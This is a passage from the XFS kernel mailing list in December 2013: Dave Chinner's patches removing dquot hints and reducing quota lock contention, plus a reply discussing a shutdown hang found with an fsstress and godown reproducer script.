2013 03:41:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B73DAAC008 for ; Thu, 12 Dec 2013 01:41:11 -0800 (PST) X-ASG-Debug-ID: 1386841266-04bdf05ced270b0003-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id iL03AK6MsOAjmbXa for ; Thu, 12 Dec 2013 01:41:09 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAHSDqVJ5LHyk/2dsb2JhbABRCIMHu1sXdIIlAQEFJy8zCBgxOQMbGRmHaMI9F44yCYUIBKongz0ogS0 Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 20:11:05 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vr2lR-00015q-8I for xfs@oss.sgi.com; Thu, 12 Dec 2013 20:41:01 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vr2lR-0005t9-7O for xfs@oss.sgi.com; Thu, 12 Dec 2013 20:41:01 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/3] xfs: remote dquot hints Date: Thu, 12 Dec 2013 20:40:56 +1100 X-ASG-Orig-Subj: [PATCH 1/3] xfs: remote dquot hints Message-Id: <1386841258-22183-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386841258-22183-1-git-send-email-david@fromorbit.com> References: <1386841258-22183-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386841269 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143036 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner group and project quota hints are currently stored on the user dquot. If we are attaching quotas to the inode, then the group and project dquots are stored as hints on the user dquot to save having to look them up again later. The thing is, the hints are not used for that inode for the rest of the life of the inode - the dquots are attached directly to the inode itself - so the only time the hints are used is when an inode first has dquots attached. When the hints on the user dquot don't match the dquots being attache dto the inode, they are then removed and replaced with the new hints. If a user is concurrently modifying files in different group and/or project contexts, then this leads to thrashing of the hints attached to user dquot. If user quotas are not enabled, then hints are never even used. So, if the hints are used to avoid the cost of the lookup, is the cost of the lookup significant enough to justify the hint infrstructure? Maybe it was once, when there was a global quota manager shared between all XFS filesystems and was hash table based. However, lookups are now much simpler, requiring only a single lock and radix tree lookup local to the filesystem and no hash or LRU manipulations to be made. Hence the cost of lookup is much lower than when hints were implemented. Turns out that benchmarks show that, too, with thir being no differnce in performance when doing file creation workloads as a single user with user, group and project quotas enabled - the hints do not make the code go any faster. In fact, removing the hints shows a 2-3% reduction in the time it takes to create 50 million inodes.... So, let's just get rid of the hints and the complexity around them. Signed-off-by: Dave Chinner --- fs/xfs/xfs_dquot.c | 53 ++----------- fs/xfs/xfs_dquot.h | 2 - fs/xfs/xfs_qm.c | 214 ++++++----------------------------------------------- 3 files changed, 29 insertions(+), 240 deletions(-) diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 6b1e695..4ce4984 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -831,47 +831,6 @@ restart: return (0); } - -STATIC void -xfs_qm_dqput_final( - struct xfs_dquot *dqp) -{ - struct xfs_quotainfo *qi = dqp->q_mount->m_quotainfo; - struct xfs_dquot *gdqp; - struct xfs_dquot *pdqp; - - trace_xfs_dqput_free(dqp); - - if (list_lru_add(&qi->qi_lru, &dqp->q_lru)) - XFS_STATS_INC(xs_qm_dquot_unused); - - /* - * If we just added a udquot to the freelist, then we want to release - * the gdquot/pdquot reference that it (probably) has. Otherwise it'll - * keep the gdquot/pdquot from getting reclaimed. - */ - gdqp = dqp->q_gdquot; - if (gdqp) { - xfs_dqlock(gdqp); - dqp->q_gdquot = NULL; - } - - pdqp = dqp->q_pdquot; - if (pdqp) { - xfs_dqlock(pdqp); - dqp->q_pdquot = NULL; - } - xfs_dqunlock(dqp); - - /* - * If we had a group/project quota hint, release it now. - */ - if (gdqp) - xfs_qm_dqput(gdqp); - if (pdqp) - xfs_qm_dqput(pdqp); -} - /* * Release a reference to the dquot (decrement ref-count) and unlock it. * @@ -887,10 +846,14 @@ xfs_qm_dqput( trace_xfs_dqput(dqp); - if (--dqp->q_nrefs > 0) - xfs_dqunlock(dqp); - else - xfs_qm_dqput_final(dqp); + if (--dqp->q_nrefs == 0) { + struct xfs_quotainfo *qi = dqp->q_mount->m_quotainfo; + trace_xfs_dqput_free(dqp); + + if (list_lru_add(&qi->qi_lru, &dqp->q_lru)) + XFS_STATS_INC(xs_qm_dquot_unused); + } + xfs_dqunlock(dqp); } /* diff --git a/fs/xfs/xfs_dquot.h b/fs/xfs/xfs_dquot.h index d22ed00..68a68f7 100644 --- a/fs/xfs/xfs_dquot.h +++ b/fs/xfs/xfs_dquot.h @@ -52,8 +52,6 @@ typedef struct xfs_dquot { int q_bufoffset; /* off of dq in buffer (# dquots) */ xfs_fileoff_t q_fileoffset; /* offset in quotas file */ - struct xfs_dquot*q_gdquot; /* group dquot, hint only */ - struct xfs_dquot*q_pdquot; /* project dquot, hint only */ xfs_disk_dquot_t q_core; /* actual usage & quotas */ xfs_dq_logitem_t q_logitem; /* dquot log item */ xfs_qcnt_t q_res_bcount; /* total regular nblks used+reserved */ diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index dd88f0e..d31b88e 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -193,47 +193,6 @@ xfs_qm_dqpurge( } /* - * Release the group or project dquot pointers the user dquots maybe carrying - * around as a hint, and proceed to purge the user dquot cache if requested. -*/ -STATIC int -xfs_qm_dqpurge_hints( - struct xfs_dquot *dqp, - void *data) -{ - struct xfs_dquot *gdqp = NULL; - struct xfs_dquot *pdqp = NULL; - uint flags = *((uint *)data); - - xfs_dqlock(dqp); - if (dqp->dq_flags & XFS_DQ_FREEING) { - xfs_dqunlock(dqp); - return EAGAIN; - } - - /* If this quota has a hint attached, prepare for releasing it now */ - gdqp = dqp->q_gdquot; - if (gdqp) - dqp->q_gdquot = NULL; - - pdqp = dqp->q_pdquot; - if (pdqp) - dqp->q_pdquot = NULL; - - xfs_dqunlock(dqp); - - if (gdqp) - xfs_qm_dqrele(gdqp); - if (pdqp) - xfs_qm_dqrele(pdqp); - - if (flags & XFS_QMOPT_UQUOTA) - return xfs_qm_dqpurge(dqp, NULL); - - return 0; -} - -/* * Purge the dquot cache. */ void @@ -241,18 +200,8 @@ xfs_qm_dqpurge_all( struct xfs_mount *mp, uint flags) { - /* - * We have to release group/project dquot hint(s) from the user dquot - * at first if they are there, otherwise we would run into an infinite - * loop while walking through radix tree to purge other type of dquots - * since their refcount is not zero if the user dquot refers to them - * as hint. - * - * Call the special xfs_qm_dqpurge_hints() will end up go through the - * general xfs_qm_dqpurge() against user dquot cache if requested. - */ - xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge_hints, &flags); - + if (flags & XFS_QMOPT_UQUOTA) + xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge, NULL); if (flags & XFS_QMOPT_GQUOTA) xfs_qm_dquot_walk(mp, XFS_DQ_GROUP, xfs_qm_dqpurge, NULL); if (flags & XFS_QMOPT_PQUOTA) @@ -409,7 +358,6 @@ xfs_qm_dqattach_one( xfs_dqid_t id, uint type, uint doalloc, - xfs_dquot_t *udqhint, /* hint */ xfs_dquot_t **IO_idqpp) { xfs_dquot_t *dqp; @@ -419,9 +367,9 @@ xfs_qm_dqattach_one( error = 0; /* - * See if we already have it in the inode itself. IO_idqpp is - * &i_udquot or &i_gdquot. This made the code look weird, but - * made the logic a lot simpler. + * See if we already have it in the inode itself. IO_idqpp is &i_udquot + * or &i_gdquot. This made the code look weird, but made the logic a lot + * simpler. */ dqp = *IO_idqpp; if (dqp) { @@ -430,49 +378,10 @@ xfs_qm_dqattach_one( } /* - * udqhint is the i_udquot field in inode, and is non-NULL only - * when the type arg is group/project. Its purpose is to save a - * lookup by dqid (xfs_qm_dqget) by caching a group dquot inside - * the user dquot. - */ - if (udqhint) { - ASSERT(type == XFS_DQ_GROUP || type == XFS_DQ_PROJ); - xfs_dqlock(udqhint); - - /* - * No need to take dqlock to look at the id. - * - * The ID can't change until it gets reclaimed, and it won't - * be reclaimed as long as we have a ref from inode and we - * hold the ilock. - */ - if (type == XFS_DQ_GROUP) - dqp = udqhint->q_gdquot; - else - dqp = udqhint->q_pdquot; - if (dqp && be32_to_cpu(dqp->q_core.d_id) == id) { - ASSERT(*IO_idqpp == NULL); - - *IO_idqpp = xfs_qm_dqhold(dqp); - xfs_dqunlock(udqhint); - return 0; - } - - /* - * We can't hold a dquot lock when we call the dqget code. - * We'll deadlock in no time, because of (not conforming to) - * lock ordering - the inodelock comes before any dquot lock, - * and we may drop and reacquire the ilock in xfs_qm_dqget(). - */ - xfs_dqunlock(udqhint); - } - - /* - * Find the dquot from somewhere. This bumps the - * reference count of dquot and returns it locked. - * This can return ENOENT if dquot didn't exist on - * disk and we didn't ask it to allocate; - * ESRCH if quotas got turned off suddenly. + * Find the dquot from somewhere. This bumps the reference count of + * dquot and returns it locked. This can return ENOENT if dquot didn't + * exist on disk and we didn't ask it to allocate; ESRCH if quotas got + * turned off suddenly. */ error = xfs_qm_dqget(ip->i_mount, ip, id, type, doalloc | XFS_QMOPT_DOWARN, &dqp); @@ -490,48 +399,6 @@ xfs_qm_dqattach_one( return 0; } - -/* - * Given a udquot and group/project type, attach the group/project - * dquot pointer to the udquot as a hint for future lookups. - */ -STATIC void -xfs_qm_dqattach_hint( - struct xfs_inode *ip, - int type) -{ - struct xfs_dquot **dqhintp; - struct xfs_dquot *dqp; - struct xfs_dquot *udq = ip->i_udquot; - - ASSERT(type == XFS_DQ_GROUP || type == XFS_DQ_PROJ); - - xfs_dqlock(udq); - - if (type == XFS_DQ_GROUP) { - dqp = ip->i_gdquot; - dqhintp = &udq->q_gdquot; - } else { - dqp = ip->i_pdquot; - dqhintp = &udq->q_pdquot; - } - - if (*dqhintp) { - struct xfs_dquot *tmp; - - if (*dqhintp == dqp) - goto done; - - tmp = *dqhintp; - *dqhintp = NULL; - xfs_qm_dqrele(tmp); - } - - *dqhintp = xfs_qm_dqhold(dqp); -done: - xfs_dqunlock(udq); -} - static bool xfs_qm_need_dqattach( struct xfs_inode *ip) @@ -562,7 +429,6 @@ xfs_qm_dqattach_locked( uint flags) { xfs_mount_t *mp = ip->i_mount; - uint nquotas = 0; int error = 0; if (!xfs_qm_need_dqattach(ip)) @@ -570,77 +436,39 @@ xfs_qm_dqattach_locked( ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - if (XFS_IS_UQUOTA_ON(mp)) { + if (XFS_IS_UQUOTA_ON(mp) && !ip->i_udquot) { error = xfs_qm_dqattach_one(ip, ip->i_d.di_uid, XFS_DQ_USER, flags & XFS_QMOPT_DQALLOC, - NULL, &ip->i_udquot); + &ip->i_udquot); if (error) goto done; - nquotas++; + ASSERT(ip->i_udquot); } - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - if (XFS_IS_GQUOTA_ON(mp)) { + if (XFS_IS_GQUOTA_ON(mp) && !ip->i_gdquot) { error = xfs_qm_dqattach_one(ip, ip->i_d.di_gid, XFS_DQ_GROUP, flags & XFS_QMOPT_DQALLOC, - ip->i_udquot, &ip->i_gdquot); - /* - * Don't worry about the udquot that we may have - * attached above. It'll get detached, if not already. - */ + &ip->i_gdquot); if (error) goto done; - nquotas++; + ASSERT(ip->i_gdquot); } - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - if (XFS_IS_PQUOTA_ON(mp)) { + if (XFS_IS_PQUOTA_ON(mp) && !ip->i_pdquot) { error = xfs_qm_dqattach_one(ip, xfs_get_projid(ip), XFS_DQ_PROJ, flags & XFS_QMOPT_DQALLOC, - ip->i_udquot, &ip->i_pdquot); - /* - * Don't worry about the udquot that we may have - * attached above. It'll get detached, if not already. - */ + &ip->i_pdquot); if (error) goto done; - nquotas++; + ASSERT(ip->i_pdquot); } +done: /* - * Attach this group/project quota to the user quota as a hint. - * This WON'T, in general, result in a thrash. + * Don't worry about the dquots that we may have attached before any + * error - they'll get detached later if it has not already been done. */ - if (nquotas > 1 && ip->i_udquot) { - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - ASSERT(ip->i_gdquot || !XFS_IS_GQUOTA_ON(mp)); - ASSERT(ip->i_pdquot || !XFS_IS_PQUOTA_ON(mp)); - - /* - * We do not have i_udquot locked at this point, but this check - * is OK since we don't depend on the i_gdquot to be accurate - * 100% all the time. It is just a hint, and this will - * succeed in general. - */ - if (ip->i_udquot->q_gdquot != ip->i_gdquot) - xfs_qm_dqattach_hint(ip, XFS_DQ_GROUP); - - if (ip->i_udquot->q_pdquot != ip->i_pdquot) - xfs_qm_dqattach_hint(ip, XFS_DQ_PROJ); - } - - done: -#ifdef DEBUG - if (!error) { - if (XFS_IS_UQUOTA_ON(mp)) - ASSERT(ip->i_udquot); - if (XFS_IS_GQUOTA_ON(mp)) - ASSERT(ip->i_gdquot); - if (XFS_IS_PQUOTA_ON(mp)) - ASSERT(ip->i_pdquot); - } ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); -#endif return error; } -- 1.8.4.rc3 From dave@fromorbit.com Thu Dec 12 03:41:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3CEFA29DF8 for ; Thu, 12 Dec 2013 03:41:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D7747AC001 for ; Thu, 12 Dec 2013 01:41:09 -0800 (PST) X-ASG-Debug-ID: 1386841266-04bdf05ced270b0002-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id iq9CnrqvIP1OTlrS for ; Thu, 12 Dec 2013 01:41:08 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlMGAHSDqVJ5LHyk/2dsb2JhbABZgwe7Wxd0gwI7gQIDiDWjHZ83jjtqhB4ElDGVdoM9KIEt Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 20:11:06 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vr2lR-00015p-7d for xfs@oss.sgi.com; Thu, 12 Dec 2013 20:41:01 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vr2lR-0005t6-6X for xfs@oss.sgi.com; Thu, 12 Dec 2013 20:41:01 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/3] xfs: dquot modification scalability Date: Thu, 12 Dec 2013 20:40:55 +1100 X-ASG-Orig-Subj: [PATCH 0/3] xfs: dquot modification scalability Message-Id: <1386841258-22183-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386841268 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143036 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, I recently made the mistake of enabling quotas on one of my regular scalability tests - concurrent file creates - and discovered that the quota modification serialised the entire workload. Not good. Only two of these patches are really scalability patches - the first patch in the series is a cleanup that gets rid of dquot hints. The first scalability change is to not require the dquot lock when taking references to the dquot. This is done simply by converting the reference count to an atomic and replacing all all operations with equivalent atomic variable operations. This means that we can remove the dquot lock from xfs_qm_dqhold(). Further optimisations can be done on the release of references, but that is not done in this patch or in this patch set. Getting rid of the dquot lock from the hold code moves the contention point to the transaction subsystem - xfs_trans_dqresv and the transaction commit code. The second scalability change it to make xfs_trans_dqresv() lockless by using cmpxchg rather than the dquot lock for updating the reservations. We don't really need to hold the dquot lock to check the quota limits as the limits almost never change - it's really only the reservation that we care about here, and if that changes between the check and the cmpxchg, then we'll go around the loop and check the limits again with the newly sampled reservation... Overall, these patches improve workload performance from around 16,500 creates/s to about 24,000 creates/s. While 25% improvement is nothing to complain about, performance without quotas is about 250,000 creates/s. So there's still a lot of ground to make up here. The patchset moves the contention almost entirely to the transaction commit code, along with the xfs_qm_dqrele calls in xfs_create (about 15% of the overall locks contention). Fixing the transaction commit code is a major piece of work and where the order of magnitude improvement will come from, but I haven't quite figured it all out yet. The dqrele code is simpler, so I'll probably have a patch soon for that - it'll give another 10% improvement on what we have now... Cheers, Dave. From david@fromorbit.com Thu Dec 12 04:09:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C9B787F53 for ; Thu, 12 Dec 2013 04:09:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6374FAC001 for ; Thu, 12 Dec 2013 02:09:52 -0800 (PST) X-ASG-Debug-ID: 1386842990-04bdf013231d49f0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id fguNxUKNFHpAnE3p for ; Thu, 12 Dec 2013 02:09:50 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkYHAH+KqVJ5LHyk/2dsb2JhbABZgwe0E4YvgRoXdIIlAQEEATocIwULCAMVAwklDwUlAyETh3wFwksXFo5yB4Q0BJgTkhSDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 20:39:50 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vr3DH-0001AI-JN; Thu, 12 Dec 2013 21:09:47 +1100 Date: Thu, 12 Dec 2013 21:09:47 +1100 From: Dave Chinner To: Jeff Liu Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. Message-ID: <20131212100947.GW10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-2-git-send-email-david@fromorbit.com> <52A98226.4020705@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A98226.4020705@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386842990 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143037 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 05:30:14PM +0800, Jeff Liu wrote: > On 12/12 2013 13:34, Dave Chinner wrote: > > From: Dave Chinner > > > > fsstress failed during a shutdown with the following assert: > Looks fsstress is always a good aid to make file system cry... :-P Heh. That it is. :) > I wonder if here the shutdown is simulated via xfstests/src/godown or not, > but I can trigger another hang up issue with this patch via a test case > below(80% reproducible, I also ran the test against the left patches in > this series, this problem still exists): I occassionally get that hang, too. It's a "once a month" type hang, and I've never beenable to reproduce it reliably enough to debug. > #!/bin/bash > > mkfs.xfs -f /dev/sda7 > > for ((i=0;i<10;i++)) > do > mount /dev/sda7 /xfs > fsstress -d /xfs -n 1000 -p 100 >/dev/null 2>&1 & > sleep 10 > godown /xfs > wait > killall -q fsstress > umount /xfs > done > > It seems there is no such kind of test cases in xfstestes for now, I'd > write one if required. nothing quite that generic - xfs/087 does a loop like that over different log configurations, but that's testing log recovery more than shutdown sanity. Adding that test would be a good idea - it's a shame no other filesystem supports a shutdown like XFS does.... > The backtraces were shown as following: > > [ 365.987493] INFO: task fsstress:3215 blocked for more than 120 seconds. > [ 365.987499] Tainted: PF O 3.13.0-rc2+ #13 > [ 365.987500] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. > [ 365.987502] fsstress D ffff88026f254440 0 3215 3142 0x00000000 > [ 365.987507] ffff880253f19de0 0000000000000086 ffff880242071800 ffff880253f19fd8 > [ 365.987512] 0000000000014440 0000000000014440 ffff880242071800 ffff880073694c00 > [ 365.987515] ffff880073694c80 ffff880073694c90 ffffffffffffffff 0000000000000292 > [ 365.987519] Call Trace: > [ 365.987528] [] schedule+0x29/0x70 > [ 365.987560] [] xlog_cil_force_lsn+0x18d/0x1e0 [xfs] > [ 365.987565] [] ? wake_up_state+0x20/0x20 > [ 365.987570] [] ? do_fsync+0x80/0x80 > [ 365.987594] [] _xfs_log_force+0x61/0x270 [xfs] > [ 365.987599] [] ? jbd2_log_wait_commit+0x110/0x180 > [ 365.987603] [] ? prepare_to_wait_event+0x100/0x100 > [ 365.987607] [] ? do_fsync+0x80/0x80 > [ 365.987629] [] xfs_log_force+0x26/0x80 [xfs] > [ 365.987648] [] xfs_fs_sync_fs+0x2d/0x50 [xfs] > [ 365.987652] [] sync_fs_one_sb+0x20/0x30 > [ 365.987656] [] iterate_supers+0xb2/0x110 > [ 365.987660] [] sys_sync+0x62/0xa0 > [ 365.987665] [] system_call_fastpath+0x1a/0x1f > [ 372.225302] XFS (sda7): xfs_log_force: error 5 returned. > [ 402.275608] XFS (sda7): xfs_log_force: error 5 returned. > [ 432.325929] XFS (sda7): xfs_log_force: error 5 returned. > [ 462.376239] XFS (sda7): xfs_log_force: error 5 returned. So what we see here is that there is a race condition somewhere in the shutdown code. The shutdown is supposed to wake everyone waiting of the ic_force_wait wait queue on each iclog, but for some reason that hasn't happened. The sleepers check for XLOG_STATE_IOERROR (which is set during the force shutdown before we wake ic_force_wait sleepers) before they go to sleep, so whatever the race is it isn't immediately obvious to me. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 04:25:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 420527F50 for ; Thu, 12 Dec 2013 04:25:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 211908F8040 for ; Thu, 12 Dec 2013 02:25:14 -0800 (PST) X-ASG-Debug-ID: 1386843911-04cbb041666cee60001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id IbS20vEh2g8wOsCI for ; Thu, 12 Dec 2013 02:25:11 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkYHAPyNqVJ5LHyk/2dsb2JhbABRCIMHtBOGL4EaF3SCJQEBBScTHDMIGAwlDwUlAzQeh2PCSxcWjhxdhDQEmBOKTIdIgz0ogSwE Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 20:55:10 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vr3S7-0001Bn-UU for xfs@oss.sgi.com; Thu, 12 Dec 2013 21:25:07 +1100 Date: Thu, 12 Dec 2013 21:25:07 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 4/3] xfs: xfs_qm_dqrele mostly doesn't need locking Message-ID: <20131212102507.GX10988@dastard> X-ASG-Orig-Subj: [PATCH 4/3] xfs: xfs_qm_dqrele mostly doesn't need locking References: <1386841258-22183-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386841258-22183-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386843911 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143037 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Now that we have an atomic variable for the reference count, we don't need to take the dquot lock if we are not removing the last reference count. The dquot lock is a mutex, so we can't use atomic_dec_and_lock(), but we can open code it in xfs_qm_dqrele and hence avoid the dquot lock for most of the cases where we drop a reference count. The result is that concurrent file creates jump from 24,000/s to 28,000/s, and the entire workload is now serialised on the dquot being locked during transaction commit. Another significant win, even though it's not the big one... While there, rename xfs_qm_dqrele to xfs_dqrele - the "qm" part of the name means nothing and just makes the code harder to read. Signed-off-by: Dave Chinner --- fs/xfs/xfs_dquot.c | 17 +++++++++-------- fs/xfs/xfs_inode.c | 12 ++++++------ fs/xfs/xfs_ioctl.c | 10 +++++----- fs/xfs/xfs_iops.c | 12 ++++++------ fs/xfs/xfs_qm.c | 16 ++++++++-------- fs/xfs/xfs_qm_syscalls.c | 8 ++++---- fs/xfs/xfs_quota.h | 4 ++-- fs/xfs/xfs_symlink.c | 12 ++++++------ 8 files changed, 46 insertions(+), 45 deletions(-) diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 975a46c..f17350d 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -861,11 +861,10 @@ xfs_qm_dqput( } /* - * Release a dquot. Flush it if dirty, then dqput() it. - * dquot must not be locked. + * Release a dquot. The dquot must not be locked. */ void -xfs_qm_dqrele( +xfs_dqrele( xfs_dquot_t *dqp) { if (!dqp) @@ -873,13 +872,15 @@ xfs_qm_dqrele( trace_xfs_dqrele(dqp); - xfs_dqlock(dqp); /* - * We don't care to flush it if the dquot is dirty here. - * That will create stutters that we want to avoid. - * Instead we do a delayed write when we try to reclaim - * a dirty dquot. Also xfs_sync will take part of the burden... + * If this is not the final reference, we don't need to take the dquot + * lock at all. This is effectively a mutex based atomic_dec_and_lock() + * operation. */ + if (atomic_add_unless(&dqp->q_nrefs, -1, 1)) + return; + + xfs_dqlock(dqp); xfs_qm_dqput(dqp); } diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 001aa89..2442c57 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1305,9 +1305,9 @@ xfs_create( if (error) goto out_release_inode; - xfs_qm_dqrele(udqp); - xfs_qm_dqrele(gdqp); - xfs_qm_dqrele(pdqp); + xfs_dqrele(udqp); + xfs_dqrele(gdqp); + xfs_dqrele(pdqp); 